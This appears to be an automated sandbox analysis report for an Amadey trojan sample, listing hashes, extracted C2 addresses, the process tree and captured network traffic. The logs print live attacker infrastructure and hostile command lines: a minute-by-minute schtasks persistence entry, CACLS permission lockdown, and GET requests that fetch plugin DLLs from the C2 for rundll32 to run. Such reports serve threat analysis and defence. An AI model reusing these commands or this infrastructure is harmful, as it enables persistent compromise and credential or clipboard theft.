amadey | 1993d56acb6625090a7cb3bf282e4a887a91bd90431df1bc88a873abf71e7c7b | Triage

Analysis

max time kernel
186s
max time network
261s
platform
windows10-1703_x64
resource
win10-20230703-en
resource tags

arch:x64arch:x86image:win10-20230703-enlocale:en-usos:windows10-1703-x64system
submitted
16/08/2023, 05:19 UTC

Sharing

Report Analysis Logs

General

Target

m1674400.exe
Size

313KB
MD5

69b27fe3308bebb904ae9c80c0745ae3
SHA1

53ab89c8f91f8ece4916747db74b4d22ef6cef95
SHA256

1993d56acb6625090a7cb3bf282e4a887a91bd90431df1bc88a873abf71e7c7b
SHA512

e4f6d3a2dee21fd4f225df212a64d4fbdb027d3e4e1f00c6c0312dfb7dfa18309ba2b2cdf7f5f8f38bf15ee66374354cf5a26cf4896e3551d47339bf9174fb70
SSDEEP

6144:SR9eh569+UR6P3zIwkp4p2k/DPaZHwc3eoe6u17MgAOIMs8BqN:Sfm5BB7kpi2k/ae6u17pa8BqN

Score

10^/10

amadey trojan

Malware Config

Extracted

Family

amadey

Version

S-%lu-

C2

77.91.68.18/nice/index.php

3.87/nice/index.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Executes dropped EXE 2 IoCs

pid	Process
4152	saves.exe
2904	saves.exe

Loads dropped DLL 1 IoCs

pid	Process
1608	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

Scheduled Task/Job

pid	Process
2092	schtasks.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 4144 wrote to memory of 4152	4144	m1674400.exe	70
PID 4144 wrote to memory of 4152	4144	m1674400.exe	70
PID 4144 wrote to memory of 4152	4144	m1674400.exe	70
PID 4152 wrote to memory of 2092	4152	saves.exe	71
PID 4152 wrote to memory of 2092	4152	saves.exe	71
PID 4152 wrote to memory of 2092	4152	saves.exe	71
PID 4152 wrote to memory of 3304	4152	saves.exe	72
PID 4152 wrote to memory of 3304	4152	saves.exe	72
PID 4152 wrote to memory of 3304	4152	saves.exe	72
PID 3304 wrote to memory of 5032	3304	cmd.exe	76
PID 3304 wrote to memory of 5032	3304	cmd.exe	76
PID 3304 wrote to memory of 5032	3304	cmd.exe	76
PID 3304 wrote to memory of 4904	3304	cmd.exe	75
PID 3304 wrote to memory of 4904	3304	cmd.exe	75
PID 3304 wrote to memory of 4904	3304	cmd.exe	75
PID 3304 wrote to memory of 1856	3304	cmd.exe	77
PID 3304 wrote to memory of 1856	3304	cmd.exe	77
PID 3304 wrote to memory of 1856	3304	cmd.exe	77
PID 3304 wrote to memory of 4704	3304	cmd.exe	78
PID 3304 wrote to memory of 4704	3304	cmd.exe	78
PID 3304 wrote to memory of 4704	3304	cmd.exe	78
PID 3304 wrote to memory of 4208	3304	cmd.exe	79
PID 3304 wrote to memory of 4208	3304	cmd.exe	79
PID 3304 wrote to memory of 4208	3304	cmd.exe	79
PID 3304 wrote to memory of 4540	3304	cmd.exe	80
PID 3304 wrote to memory of 4540	3304	cmd.exe	80
PID 3304 wrote to memory of 4540	3304	cmd.exe	80
PID 4152 wrote to memory of 1608	4152	saves.exe	81
PID 4152 wrote to memory of 1608	4152	saves.exe	81
PID 4152 wrote to memory of 1608	4152	saves.exe	81

C:\Users\Admin\AppData\Local\Temp\m1674400.exe
"C:\Users\Admin\AppData\Local\Temp\m1674400.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4144
- C:\Users\Admin\AppData\Local\Temp\b40d11255d\saves.exe
  "C:\Users\Admin\AppData\Local\Temp\b40d11255d\saves.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN saves.exe /TR "C:\Users\Admin\AppData\Local\Temp\b40d11255d\saves.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2092
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "saves.exe" /P "Admin:N"&&CACLS "saves.exe" /P "Admin:R" /E&&echo Y|CACLS "..\b40d11255d" /P "Admin:N"&&CACLS "..\b40d11255d" /P "Admin:R" /E&&Exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3304
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "saves.exe" /P "Admin:N"
      4⤵
      PID:4904
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:5032
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "saves.exe" /P "Admin:R" /E
      4⤵
      PID:1856
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:4704
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\b40d11255d" /P "Admin:N"
      4⤵
      PID:4208
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\b40d11255d" /P "Admin:R" /E
      4⤵
      PID:4540
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
    3⤵
    - Loads dropped DLL
    PID:1608

C:\Users\Admin\AppData\Local\Temp\b40d11255d\saves.exe
C:\Users\Admin\AppData\Local\Temp\b40d11255d\saves.exe
1⤵
- Executes dropped EXE
PID:2904

Network

POST

http://77.91.68.18/nice/index.php

saves.exe

Remote address:

77.91.68.18:80

Request

POST /nice/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 77.91.68.18
Content-Length: 89
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Wed, 16 Aug 2023 05:20:05 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 6
Content-Type: text/html; charset=UTF-8
DNS

18.68.91.77.in-addr.arpa

Remote address:

8.8.8.8:53

Request

18.68.91.77.in-addr.arpa

IN PTR

Response

18.68.91.77.in-addr.arpa

IN PTR

hosted-by yeezyhostnet
GET

http://77.91.68.18/nice/Plugins/cred64.dll

saves.exe

Remote address:

77.91.68.18:80

Request

GET /nice/Plugins/cred64.dll HTTP/1.1
Host: 77.91.68.18

Response

HTTP/1.1 404 Not Found

Date: Wed, 16 Aug 2023 05:20:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 273
Content-Type: text/html; charset=iso-8859-1
GET

http://77.91.68.18/nice/Plugins/clip64.dll

saves.exe

Remote address:

77.91.68.18:80

Request

GET /nice/Plugins/clip64.dll HTTP/1.1
Host: 77.91.68.18

Response

HTTP/1.1 200 OK

Date: Wed, 16 Aug 2023 05:20:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 11 Aug 2023 11:18:19 GMT
ETag: "16400-602a3deb02532"
Accept-Ranges: bytes
Content-Length: 91136
Content-Type: application/x-msdos-program
DNS

43.229.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

43.229.111.52.in-addr.arpa

IN PTR

Response
DNS

9.57.101.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

9.57.101.20.in-addr.arpa

IN PTR

Response
DNS

123.10.44.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

123.10.44.20.in-addr.arpa

IN PTR

Response
POST

http://77.91.68.18/nice/index.php

saves.exe

Remote address:

77.91.68.18:80

Request

POST /nice/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 77.91.68.18
Content-Length: 89
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Wed, 16 Aug 2023 05:23:05 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 6
Content-Type: text/html; charset=UTF-8

77.91.68.18:80

http://77.91.68.18/nice/index.php

http

saves.exe

511 B
365 B
6
5

HTTP Request

POST http://77.91.68.18/nice/index.php

HTTP Response

200
77.91.68.18:80

http://77.91.68.18/nice/Plugins/clip64.dll

http

saves.exe

3.8kB
94.8kB
75
74

HTTP Request

GET http://77.91.68.18/nice/Plugins/cred64.dll

HTTP Response

404

HTTP Request

GET http://77.91.68.18/nice/Plugins/clip64.dll

HTTP Response

200
77.91.68.18:80

http://77.91.68.18/nice/index.php

http

saves.exe

511 B
365 B
6
5

HTTP Request

POST http://77.91.68.18/nice/index.php

HTTP Response

200

8.8.8.8:53

18.68.91.77.in-addr.arpa

dns

70 B
107 B
1
1

DNS Request

18.68.91.77.in-addr.arpa
8.8.8.8:53

43.229.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

43.229.111.52.in-addr.arpa
8.8.8.8:53

9.57.101.20.in-addr.arpa

dns

70 B
156 B
1
1

DNS Request

9.57.101.20.in-addr.arpa
8.8.8.8:53

123.10.44.20.in-addr.arpa

dns

71 B
145 B
1
1

DNS Request

123.10.44.20.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\b40d11255d\saves.exe

Filesize
313KB

MD5
69b27fe3308bebb904ae9c80c0745ae3

SHA1
53ab89c8f91f8ece4916747db74b4d22ef6cef95

SHA256
1993d56acb6625090a7cb3bf282e4a887a91bd90431df1bc88a873abf71e7c7b

SHA512
e4f6d3a2dee21fd4f225df212a64d4fbdb027d3e4e1f00c6c0312dfb7dfa18309ba2b2cdf7f5f8f38bf15ee66374354cf5a26cf4896e3551d47339bf9174fb70

Download Submit
C:\Users\Admin\AppData\Local\Temp\b40d11255d\saves.exe

Filesize
313KB

MD5
69b27fe3308bebb904ae9c80c0745ae3

SHA1
53ab89c8f91f8ece4916747db74b4d22ef6cef95

SHA256
1993d56acb6625090a7cb3bf282e4a887a91bd90431df1bc88a873abf71e7c7b

SHA512
e4f6d3a2dee21fd4f225df212a64d4fbdb027d3e4e1f00c6c0312dfb7dfa18309ba2b2cdf7f5f8f38bf15ee66374354cf5a26cf4896e3551d47339bf9174fb70

Download Submit
C:\Users\Admin\AppData\Local\Temp\b40d11255d\saves.exe

Filesize
313KB

MD5
69b27fe3308bebb904ae9c80c0745ae3

SHA1
53ab89c8f91f8ece4916747db74b4d22ef6cef95

SHA256
1993d56acb6625090a7cb3bf282e4a887a91bd90431df1bc88a873abf71e7c7b

SHA512
e4f6d3a2dee21fd4f225df212a64d4fbdb027d3e4e1f00c6c0312dfb7dfa18309ba2b2cdf7f5f8f38bf15ee66374354cf5a26cf4896e3551d47339bf9174fb70

Download Submit
C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

Filesize
89KB

MD5
5bc0153d2973241b72a38c51a2f72116

SHA1
cd9c689663557452631d9f8ff609208b01884a32

SHA256
68ec0ef5c26d0204c713ec50f6ad66f8029063c6a9dbd51836f4942bacace554

SHA512
2eef4cc2568b18559f2a2a87d1fcde1f3b77f7aba23dc4483be409cb2c4722ebf89bd1316f785cbb9a21e8d017446e0d876442aec77bf8f28b198aead2b9a55b

Download Submit
C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

Filesize
89KB

MD5
5bc0153d2973241b72a38c51a2f72116

SHA1
cd9c689663557452631d9f8ff609208b01884a32

SHA256
68ec0ef5c26d0204c713ec50f6ad66f8029063c6a9dbd51836f4942bacace554

SHA512
2eef4cc2568b18559f2a2a87d1fcde1f3b77f7aba23dc4483be409cb2c4722ebf89bd1316f785cbb9a21e8d017446e0d876442aec77bf8f28b198aead2b9a55b

Download Submit
C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll

Filesize
273B

MD5
374bfdcfcf19f4edfe949022092848d2

SHA1
df5ee40497e98efcfba30012452d433373d287d4

SHA256
224a123b69af5a3ab0553e334f6c70846c650597a63f6336c9420bbe8f00571f

SHA512
bc66dd6e675942a8b8cd776b0813d4b182091e45bfa7734b3818f58c83d04f81f0599a27625ff345d393959b8dbe478d8f1ed33d49f9bcee052c986c8665b8d7

Download Submit
\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

Filesize
89KB

MD5
5bc0153d2973241b72a38c51a2f72116

SHA1
cd9c689663557452631d9f8ff609208b01884a32

SHA256
68ec0ef5c26d0204c713ec50f6ad66f8029063c6a9dbd51836f4942bacace554

SHA512
2eef4cc2568b18559f2a2a87d1fcde1f3b77f7aba23dc4483be409cb2c4722ebf89bd1316f785cbb9a21e8d017446e0d876442aec77bf8f28b198aead2b9a55b

Download Submit